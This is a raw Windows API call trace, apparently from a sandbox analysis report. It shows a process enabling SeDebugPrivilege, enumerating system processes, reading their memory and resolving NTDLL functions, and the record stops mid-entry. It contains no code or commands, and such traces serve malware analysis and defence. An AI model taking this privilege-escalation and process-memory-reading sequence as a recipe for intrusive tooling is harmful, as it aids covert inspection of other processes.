NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0222.591] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0222.591] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x49d0568020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0222.592] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1bd3c7c1330, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0222.592] malloc (_Size=0xf0) returned 0x196ef0d67b0 [0222.592] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1bd3c7c1988, lpBuffer=0x196ef0d67b0, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d67b0*, lpNumberOfBytesRead=0x0) returned 1 [0222.593] free (_Block=0x196ef0d67b0) [0222.593] CloseHandle (hObject=0x460) returned 1 [0222.594] _ui64tow_s (in: _Value=0xd24, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3364") returned 0x0 [0222.692] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3364") returned 4 [0222.694] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0222.694] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0222.710] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd24) returned 0x460 [0222.710] GetLastError () returned 0x0 [0222.711] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0222.711] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0xa54998018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0222.711] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0222.711] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1fea1081d60, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0222.711] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1fea1081948, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0222.712] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0222.714] NtQueryInformationProcess (in: ProcessHandle=0x460, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0222.714] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0xa54998020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0222.714] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1fea1081330, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0222.714] malloc (_Size=0xf0) returned 0x196ef0d67b0 [0222.714] ReadProcessMemory (in: hProcess=0x460, lpBaseAddress=0x1fea1081988, lpBuffer=0x196ef0d67b0, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d67b0*, lpNumberOfBytesRead=0x0) returned 1 [0222.715] free (_Block=0x196ef0d67b0) [0222.716] CloseHandle (hObject=0x460) returned 1 [0222.720] free (_Block=0x196ef0d6d60) [0222.720] malloc (_Size=0x48) returned 0x196ef0fc120 [0222.720] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x670ffd540 | out: lpSystemTimeAsFileTime=0x670ffd540*(dwLowDateTime=0x659a56f8, dwHighDateTime=0x1d9eb0c)) [0222.720] SetEvent (hEvent=0x248) returned 1 [0222.848] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ef225d10 [0222.849] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ef225d10, pulNumLanguages=0x670ffdf90 | out: pulNumLanguages=0x670ffdf90) returned 1 [0222.849] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225d10) returned 1 [0222.849] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225d50) returned 1 Thread: id = 118 os_tid = 0x113c [0251.393] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () [0251.394] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () [0251.398] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0251.435] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x2e) returned 0x196ef1f22a0 [0251.435] memcpy (in: _Dst=0x196ef1f22a0, _Src=0x7ffa6b7ffc30, _Size=0x2e | out: _Dst=0x196ef1f22a0) returned 0x196ef1f22a0 [0251.435] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3c) returned 0x196ee7bdc70 [0251.435] memcpy (in: _Dst=0x196ee7bdc70, _Src=0x196ef1f22a0, _Size=0x2c | out: _Dst=0x196ee7bdc70) returned 0x196ee7bdc70 [0251.435] memcpy (in: _Dst=0x196ee7bdc9c, _Src=0x196ee7c7468, _Size=0x10 | out: _Dst=0x196ee7bdc9c) returned 0x196ee7bdc9c [0251.436] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef1f22a0) returned 1 [0251.436] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3e) returned 0x196ee7bdae0 [0251.436] memcpy (in: _Dst=0x196ee7bdae0, _Src=0x196ee7bdc70, _Size=0x3a | out: _Dst=0x196ee7bdae0) returned 0x196ee7bdae0 [0251.436] memcpy (in: _Dst=0x196ee7bdb1a, _Src=0x7ffa6b7ffc60, _Size=0x4 | out: _Dst=0x196ee7bdb1a) returned 0x196ee7bdb1a [0251.436] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7bdc70) returned 1 [0251.520] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x10) returned 0x196ee85e210 [0251.520] memcpy (in: _Dst=0x196ee85e210, _Src=0x196ee7c7468, _Size=0x10 | out: _Dst=0x196ee85e210) returned 0x196ee85e210 [0251.522] memcpy (in: _Dst=0x196ee85d740, _Src=0x196ee85d748, _Size=0x0 | out: _Dst=0x196ee85d740) returned 0x196ee85d740 [0251.680] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0251.685] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x2e) returned 0x196ef1f22a0 [0251.685] memcpy (in: _Dst=0x196ef1f22a0, _Src=0x7ffa6b7ffc30, _Size=0x2e | out: _Dst=0x196ef1f22a0) returned 0x196ef1f22a0 [0251.685] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3c) returned 0x196ee7bd4a0 [0251.685] memcpy (in: _Dst=0x196ee7bd4a0, _Src=0x196ef1f22a0, _Size=0x2c | out: _Dst=0x196ee7bd4a0) returned 0x196ee7bd4a0 [0251.685] memcpy (in: _Dst=0x196ee7bd4cc, _Src=0x196ee7c7468, _Size=0x10 | out: _Dst=0x196ee7bd4cc) returned 0x196ee7bd4cc [0251.686] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef1f22a0) returned 1 [0251.686] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3e) returned 0x196ee7bd770 [0251.686] memcpy (in: _Dst=0x196ee7bd770, _Src=0x196ee7bd4a0, _Size=0x3a | out: _Dst=0x196ee7bd770) returned 0x196ee7bd770 [0251.686] memcpy (in: _Dst=0x196ee7bd7aa, _Src=0x7ffa6b7ffc60, _Size=0x4 | out: _Dst=0x196ee7bd7aa) returned 0x196ee7bd7aa [0251.687] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7bd4a0) returned 1 [0251.732] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x10) returned 0x196ee85e870 [0251.732] memcpy (in: _Dst=0x196ee85e870, _Src=0x196ee7c7468, _Size=0x10 | out: _Dst=0x196ee85e870) returned 0x196ee85e870 [0251.733] memcpy (in: _Dst=0x196ee85d740, _Src=0x196ee85d748, _Size=0x0 | out: _Dst=0x196ee85d740) returned 0x196ee85d740 [0251.807] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0251.811] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x2e) returned 0x196ef1f23e0 [0251.812] memcpy (in: _Dst=0x196ef1f23e0, _Src=0x7ffa6b7ffc30, _Size=0x2e | out: _Dst=0x196ef1f23e0) returned 0x196ef1f23e0 [0251.812] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3c) returned 0x196ee7bd770 [0251.812] memcpy (in: _Dst=0x196ee7bd770, _Src=0x196ef1f23e0, _Size=0x2c | out: _Dst=0x196ee7bd770) returned 0x196ee7bd770 [0251.812] memcpy (in: _Dst=0x196ee7bd79c, _Src=0x196ee7c7468, _Size=0x10 | out: _Dst=0x196ee7bd79c) returned 0x196ee7bd79c [0251.813] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef1f23e0) returned 1 [0251.813] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3e) returned 0x196ee7bd4a0 [0251.813] memcpy (in: _Dst=0x196ee7bd4a0, _Src=0x196ee7bd770, _Size=0x3a | out: _Dst=0x196ee7bd4a0) returned 0x196ee7bd4a0 [0251.813] memcpy (in: _Dst=0x196ee7bd4da, _Src=0x7ffa6b7ffc60, _Size=0x4 | out: _Dst=0x196ee7bd4da) returned 0x196ee7bd4da [0251.813] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7bd770) returned 1 [0251.818] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x10) returned 0x196ee85e4f0 [0251.818] memcpy (in: _Dst=0x196ee85e4f0, _Src=0x196ee7c7468, _Size=0x10 | out: _Dst=0x196ee85e4f0) returned 0x196ee85e4f0 [0251.818] memcpy (in: _Dst=0x196ee85d740, _Src=0x196ee85d748, _Size=0x0 | out: _Dst=0x196ee85d740) returned 0x196ee85d740 [0251.928] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0251.930] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x2e) returned 0x196ef1f23e0 [0251.930] memcpy (in: _Dst=0x196ef1f23e0, _Src=0x7ffa6b7ffc30, _Size=0x2e | out: _Dst=0x196ef1f23e0) returned 0x196ef1f23e0 [0251.930] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3c) returned 0x196ee7bdb80 [0251.930] memcpy (in: _Dst=0x196ee7bdb80, _Src=0x196ef1f23e0, _Size=0x2c | out: _Dst=0x196ee7bdb80) returned 0x196ee7bdb80 [0251.930] memcpy (in: _Dst=0x196ee7bdbac, _Src=0x196ee7c7468, _Size=0x10 | out: _Dst=0x196ee7bdbac) returned 0x196ee7bdbac [0251.931] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef1f23e0) returned 1 [0251.932] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3e) returned 0x196ee7bd400 [0251.932] memcpy (in: _Dst=0x196ee7bd400, _Src=0x196ee7bdb80, _Size=0x3a | out: _Dst=0x196ee7bd400) returned 0x196ee7bd400 [0251.932] memcpy (in: _Dst=0x196ee7bd43a, _Src=0x7ffa6b7ffc60, _Size=0x4 | out: _Dst=0x196ee7bd43a) returned 0x196ee7bd43a [0251.932] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7bdb80) returned 1 [0251.939] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x10) returned 0x196ee85e4d0 [0251.939] memcpy (in: _Dst=0x196ee85e4d0, _Src=0x196ee7c7468, _Size=0x10 | out: _Dst=0x196ee85e4d0) returned 0x196ee85e4d0 [0251.939] memcpy (in: _Dst=0x196ee85d740, _Src=0x196ee85d748, _Size=0x0 | out: _Dst=0x196ee85d740) returned 0x196ee85d740 [0252.423] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0252.429] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x2e) returned 0x196ef1f23e0 [0252.429] memcpy (in: _Dst=0x196ef1f23e0, _Src=0x7ffa6b7ffc30, _Size=0x2e | out: _Dst=0x196ef1f23e0) returned 0x196ef1f23e0 [0252.429] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3c) returned 0x196ee7bdf90 [0252.429] memcpy (in: _Dst=0x196ee7bdf90, _Src=0x196ef1f23e0, _Size=0x2c | out: _Dst=0x196ee7bdf90) returned 0x196ee7bdf90 [0252.429] memcpy (in: _Dst=0x196ee7bdfbc, _Src=0x196ee7c7468, _Size=0x10 | out: _Dst=0x196ee7bdfbc) returned 0x196ee7bdfbc [0252.430] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef1f23e0) returned 1 [0252.430] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3e) returned 0x196ee7bd3b0 [0252.430] memcpy (in: _Dst=0x196ee7bd3b0, _Src=0x196ee7bdf90, _Size=0x3a | out: _Dst=0x196ee7bd3b0) returned 0x196ee7bd3b0 [0252.430] memcpy (in: _Dst=0x196ee7bd3ea, _Src=0x7ffa6b7ffc60, _Size=0x4 | out: _Dst=0x196ee7bd3ea) returned 0x196ee7bd3ea [0252.430] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7bdf90) returned 1 [0252.444] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x10) returned 0x196ee85e770 [0252.444] memcpy (in: _Dst=0x196ee85e770, _Src=0x196ee7c7468, _Size=0x10 | out: _Dst=0x196ee85e770) returned 0x196ee85e770 [0252.444] memcpy (in: _Dst=0x196ee85d740, _Src=0x196ee85d748, _Size=0x0 | out: _Dst=0x196ee85d740) returned 0x196ee85d740 [0252.461] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0252.463] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x2e) returned 0x196ef1f2820 [0252.463] memcpy (in: _Dst=0x196ef1f2820, _Src=0x7ffa6b7ffc30, _Size=0x2e | out: _Dst=0x196ef1f2820) returned 0x196ef1f2820 [0252.463] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3c) returned 0x196ee7bd860 [0252.463] memcpy (in: _Dst=0x196ee7bd860, _Src=0x196ef1f2820, _Size=0x2c | out: _Dst=0x196ee7bd860) returned 0x196ee7bd860 [0252.464] memcpy (in: _Dst=0x196ee7bd88c, _Src=0x196ee7c7468, _Size=0x10 | out: _Dst=0x196ee7bd88c) returned 0x196ee7bd88c [0252.464] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef1f2820) returned 1 [0252.464] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3e) returned 0x196ee7bd900 [0252.464] memcpy (in: _Dst=0x196ee7bd900, _Src=0x196ee7bd860, _Size=0x3a | out: _Dst=0x196ee7bd900) returned 0x196ee7bd900 [0252.464] memcpy (in: _Dst=0x196ee7bd93a, _Src=0x7ffa6b7ffc60, _Size=0x4 | out: _Dst=0x196ee7bd93a) returned 0x196ee7bd93a [0252.464] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7bd860) returned 1 [0252.468] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x10) returned 0x196ee85e770 [0252.469] memcpy (in: _Dst=0x196ee85e770, _Src=0x196ee7c7468, _Size=0x10 | out: _Dst=0x196ee85e770) returned 0x196ee85e770 [0252.469] memcpy (in: _Dst=0x196ee85d740, _Src=0x196ee85d748, _Size=0x0 | out: _Dst=0x196ee85d740) returned 0x196ee85d740 [0252.557] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0252.560] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x2e) returned 0x196ef1f22a0 [0252.560] memcpy (in: _Dst=0x196ef1f22a0, _Src=0x7ffa6b7ffc30, _Size=0x2e | out: _Dst=0x196ef1f22a0) returned 0x196ef1f22a0 [0252.560] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3c) returned 0x196ee7bd3b0 [0252.560] memcpy (in: _Dst=0x196ee7bd3b0, _Src=0x196ef1f22a0, _Size=0x2c | out: _Dst=0x196ee7bd3b0) returned 0x196ee7bd3b0 [0252.560] memcpy (in: _Dst=0x196ee7bd3dc, _Src=0x196ee7c7468, _Size=0x10 | out: _Dst=0x196ee7bd3dc) returned 0x196ee7bd3dc [0252.561] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef1f22a0) returned 1 [0252.561] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3e) returned 0x196ee7bd400 [0252.561] memcpy (in: _Dst=0x196ee7bd400, _Src=0x196ee7bd3b0, _Size=0x3a | out: _Dst=0x196ee7bd400) returned 0x196ee7bd400 [0252.561] memcpy (in: _Dst=0x196ee7bd43a, _Src=0x7ffa6b7ffc60, _Size=0x4 | out: _Dst=0x196ee7bd43a) returned 0x196ee7bd43a [0252.562] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7bd3b0) returned 1 [0252.608] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x10) returned 0x196ee85e330 [0252.608] memcpy (in: _Dst=0x196ee85e330, _Src=0x196ee7c7468, _Size=0x10 | out: _Dst=0x196ee85e330) returned 0x196ee85e330 [0252.608] memcpy (in: _Dst=0x196ee85d740, _Src=0x196ee85d748, _Size=0x0 | out: _Dst=0x196ee85d740) returned 0x196ee85d740 [0254.553] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0255.043] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0255.070] RtlRestoreLastWin32Error () returned 0x670db7000 [0255.070] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670f7dda8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670f7dca0 | out: pulNumLanguages=0x670f7dda8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670f7dca0) returned 1 [0255.071] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225ce0 [0255.071] RtlRestoreLastWin32Error () returned 0x670db7000 [0255.071] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670f7dda8, pwszLanguagesBuffer=0x196ef225ce0, pcchLanguagesBuffer=0x670f7dca0 | out: pulNumLanguages=0x670f7dda8, pwszLanguagesBuffer=0x196ef225ce0, pcchLanguagesBuffer=0x670f7dca0) returned 1 [0255.071] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225c80 [0255.071] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225ce0) returned 1 [0255.071] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee85e210 [0255.071] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee85e210, pulNumLanguages=0x670f7dda8 | out: pulNumLanguages=0x670f7dda8) returned 1 [0255.071] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee85e210) returned 1 [0255.076] malloc (_Size=0xb0) returned 0x196ef0f8ae0 [0255.076] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa7be80000 [0255.076] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="RtlInitUnicodeString") returned 0x7ffa7be9ced0 [0255.077] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="RtlFreeUnicodeString") returned 0x7ffa7be9c680 [0255.077] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtSetSystemEnvironmentValue") returned 0x7ffa7bf27f10 [0255.077] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQuerySystemEnvironmentValue") returned 0x7ffa7bf27630 [0255.077] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtCreateFile") returned 0x7ffa7bf257e0 [0255.078] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQuerySystemInformation") returned 0x7ffa7bf25400 [0255.078] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryDirectoryObject") returned 0x7ffa7bf272f0 [0255.078] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryObject") returned 0x7ffa7bf24f40 [0255.078] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtOpenDirectoryObject") returned 0x7ffa7bf25840 [0255.078] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryInformationProcess") returned 0x7ffa7bf25060 [0255.079] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryInformationToken") returned 0x7ffa7bf25160 [0255.079] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtOpenFile") returned 0x7ffa7bf253a0 [0255.079] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtClose") returned 0x7ffa7bf24f20 [0255.079] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtFsControlFile") returned 0x7ffa7bf25460 [0255.079] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryVolumeInformationFile") returned 0x7ffa7bf25660 [0255.080] malloc (_Size=0x18) returned 0x196ef0d1d80 [0255.080] GetCurrentThread () returned 0xfffffffffffffffe [0255.080] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x670f7d390 | out: TokenHandle=0x670f7d390*=0x464) returned 1 [0255.080] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x670f7d3cc | out: lpLuid=0x670f7d3cc*(LowPart=0x14, HighPart=0)) returned 1 [0255.083] RtlRestoreLastWin32Error () returned 0x670db7000 [0255.083] AdjustTokenPrivileges (in: TokenHandle=0x464, DisableAllPrivileges=0, NewState=0x670f7d3c8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0255.083] GetLastError () returned 0x0 [0255.083] CloseHandle (hObject=0x464) returned 1 [0255.083] malloc (_Size=0x8000) returned 0x196ef0d7d70 [0255.084] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0xc0000004 [0255.085] free (_Block=0x196ef0d7d70) [0255.086] malloc (_Size=0x10000) returned 0x196ef0d7d70 [0255.087] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0xc0000004 [0255.090] free (_Block=0x196ef0d7d70) [0255.090] malloc (_Size=0x18000) returned 0x196ef0d7d70 [0255.091] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0xc0000004 [0255.094] free (_Block=0x196ef0d7d70) [0255.094] malloc (_Size=0x20000) returned 0x196ef0d7d70 [0255.094] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0x0 [0255.095] _ui64tow_s (in: _Value=0x0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0255.100] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="0") returned 1 [0255.102] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x7bea2958, dwBuildNumber=0x7ffa, dwPlatformId=0x6, szCSDVersion="\n") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.102] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.125] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0255.125] CloseHandle (hObject=0x0) returned 0 [0255.126] _ui64tow_s (in: _Value=0x4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0255.131] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4") returned 1 [0255.132] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0255.132] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0255.170] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0255.170] CloseHandle (hObject=0x0) returned 0 [0255.171] _ui64tow_s (in: _Value=0x134, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="308") returned 0x0 [0255.177] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="308") returned 3 [0255.179] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 